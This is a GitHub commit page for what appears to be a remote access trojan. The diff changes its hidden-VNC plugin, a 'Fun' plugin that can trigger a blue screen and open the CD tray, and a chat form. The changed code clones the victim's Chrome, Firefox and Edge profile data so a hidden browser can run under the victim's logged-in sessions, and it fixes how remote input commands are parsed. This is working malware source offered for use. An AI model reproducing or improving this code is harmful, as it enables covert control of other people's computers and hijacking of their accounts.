Skip to content

Commit

Permalink
fixed scaling issue in screencontrol and hvnc. made the messagebox an…
Browse files Browse the repository at this point in the history
…d chat auto foreground, fixed the command clobbering in the hvnc and screencontrol. fixed some issues with the profile cloning the hvnc. made a global error catcher in the client so if some weird error occurs that would crash the whole client, it will simply restart it self. fixed null exception bug in the client and server on disconnect. and some other things.
  • Loading branch information
moom825 committed Dec 14, 2023
1 parent 02bfff9 commit 0731e6e
Show file tree
Hide file tree
Showing 13 changed files with 233 additions and 219 deletions.
1 change: 1 addition & 0 deletions Plugins/Chat/ChatForm.Designer.cs

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

5 changes: 5 additions & 0 deletions Plugins/Chat/ChatForm.cs
Original file line number Diff line number Diff line change
Expand Up @@ -101,5 +101,10 @@ private void textBox2_TextChanged(object sender, EventArgs e)
{

}

private void ChatForm_Load(object sender, EventArgs e)
{
this.Activate();
}
}
}
2 changes: 1 addition & 1 deletion Plugins/Fun/Fun.cs
Original file line number Diff line number Diff line change
Expand Up @@ -102,7 +102,7 @@ public void BlueScreen()
public async Task ShowMessageBox(Node node)
{
string text = Encoding.UTF8.GetString(await node.ReceiveAsync());
await Task.Run(()=>MessageBox.Show(text));
await Task.Run(()=>MessageBox.Show(text, "Message",MessageBoxButtons.OK, MessageBoxIcon.None, MessageBoxDefaultButton.Button1, (MessageBoxOptions)0x40000));
}
public void OpenCDtray()
{
Expand Down
18 changes: 13 additions & 5 deletions Plugins/Hvnc/Hvnc.cs
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,11 @@ public class Main
Imaging_handler ImageHandler;
input_handler InputHandler;
Process_Handler ProcessHandler;

[DllImport("SHCore.dll", SetLastError = true)]
public static extern int SetProcessDpiAwareness(int awareness);


public async Task Run(Node node)
{
await node.SendAsync(new byte[] { 3 });//indicate that it has connected
Expand All @@ -39,6 +44,9 @@ public async Task Run(Node node)
ImageNode?.Disconnect();
node.Disconnect();
}

SetProcessDpiAwareness(2);//2 is being aware of the dpi per monitor

Thread thread = new Thread(async()=>await ScreenShotThread());
thread.Start();
try
Expand All @@ -65,13 +73,13 @@ public async Task Run(Node node)
}
else if (data[0] == 2)
{
quality = node.sock.BytesToInt(await node.ReceiveAsync());
quality = node.sock.BytesToInt(data,1);
}
else if (data[0] == 3)
{
uint msg = (uint)node.sock.BytesToInt(await node.ReceiveAsync());
IntPtr wParam = (IntPtr)node.sock.BytesToInt(await node.ReceiveAsync());
IntPtr lParam = (IntPtr)node.sock.BytesToInt(await node.ReceiveAsync());
uint msg = (uint)node.sock.BytesToInt(data,1);
IntPtr wParam = (IntPtr)node.sock.BytesToInt(data, 5);
IntPtr lParam = (IntPtr)node.sock.BytesToInt(data, 9);
new Thread(() => InputHandler.Input(msg, wParam, lParam)).Start();
}
else if (data[0] == 4)
Expand All @@ -80,7 +88,7 @@ public async Task Run(Node node)
}
else if (data[0] == 5)
{
ProcessHandler.CreateProc(Encoding.UTF8.GetString(await node.ReceiveAsync()));
ProcessHandler.CreateProc(Encoding.UTF8.GetString(data,1,data.Length-1));
}
else if (data[0] == 6)
{
Expand Down
43 changes: 32 additions & 11 deletions Plugins/Hvnc/Process Handler.cs
Original file line number Diff line number Diff line change
Expand Up @@ -186,17 +186,24 @@ public bool StartFirefox()
return CreateProc("\"" + path + "\"" + " -no-remote -profile " + dataDir);
}

public async Task<bool> CloneChrome()
public async Task<bool> CloneChrome()
{
try
{
string dataDir = @"C:\ChromeAutomationData";
string source = $@"C:\Users\{Environment.UserName}\AppData\Local\Google\Chrome\User Data";
await Task.Run(() => Directory.Delete(dataDir, true));
Directory.CreateDirectory(dataDir);
if (Directory.Exists(dataDir))
{
await Task.Run(() => Directory.Delete(dataDir, true));
Directory.CreateDirectory(dataDir);
}
else
{
Directory.CreateDirectory(dataDir);
}
await CopyDirAsync(source, dataDir);
return true;

}
catch { }
return false;
Expand All @@ -208,14 +215,21 @@ public async Task<bool> CloneFirefox()
{
string profilesPath = $@"C:\Users\{Environment.UserName}\AppData\Roaming\Mozilla\Firefox\Profiles";
string fileInDirectory = "addons.json";
string source=RecursiveFileSearch(profilesPath, fileInDirectory);
if (source == null)
string source = RecursiveFileSearch(profilesPath, fileInDirectory);
if (source == null)
{
return false;
}
string dataDir = @"C:\FirefoxAutomationData";
await Task.Run(() => Directory.Delete(dataDir, true));
Directory.CreateDirectory(dataDir);
if (Directory.Exists(dataDir))
{
await Task.Run(() => Directory.Delete(dataDir, true));
Directory.CreateDirectory(dataDir);
}
else
{
Directory.CreateDirectory(dataDir);
}
await CopyDirAsync(source, dataDir);
return true;

Expand All @@ -230,15 +244,23 @@ public async Task<bool> CloneEdge()
{
string dataDir = @"C:\EdgeAutomationData";
string source = $@"C:\Users\{Environment.UserName}\AppData\Local\Microsoft\Edge\User Data";
await Task.Run(()=>Directory.Delete(dataDir, true));
Directory.CreateDirectory(dataDir);
if (Directory.Exists(dataDir))
{
await Task.Run(() => Directory.Delete(dataDir, true));
Directory.CreateDirectory(dataDir);
}
else
{
Directory.CreateDirectory(dataDir);
}
await CopyDirAsync(source, dataDir);
return true;

}
catch { }
return false;
}

static string RecursiveFileSearch(string currentDirectory, string targetFileName)
{
string targetFilePath = Path.Combine(currentDirectory, targetFileName);
Expand All @@ -256,7 +278,6 @@ static string RecursiveFileSearch(string currentDirectory, string targetFileName
}
return null;
}

public async Task CopyDirAsync(string sourceDir, string destinationDir)
{
await CopyDirectoriesAsync(sourceDir, destinationDir);
Expand Down
Loading

0 comments on commit 0731e6e

Please sign in to comment.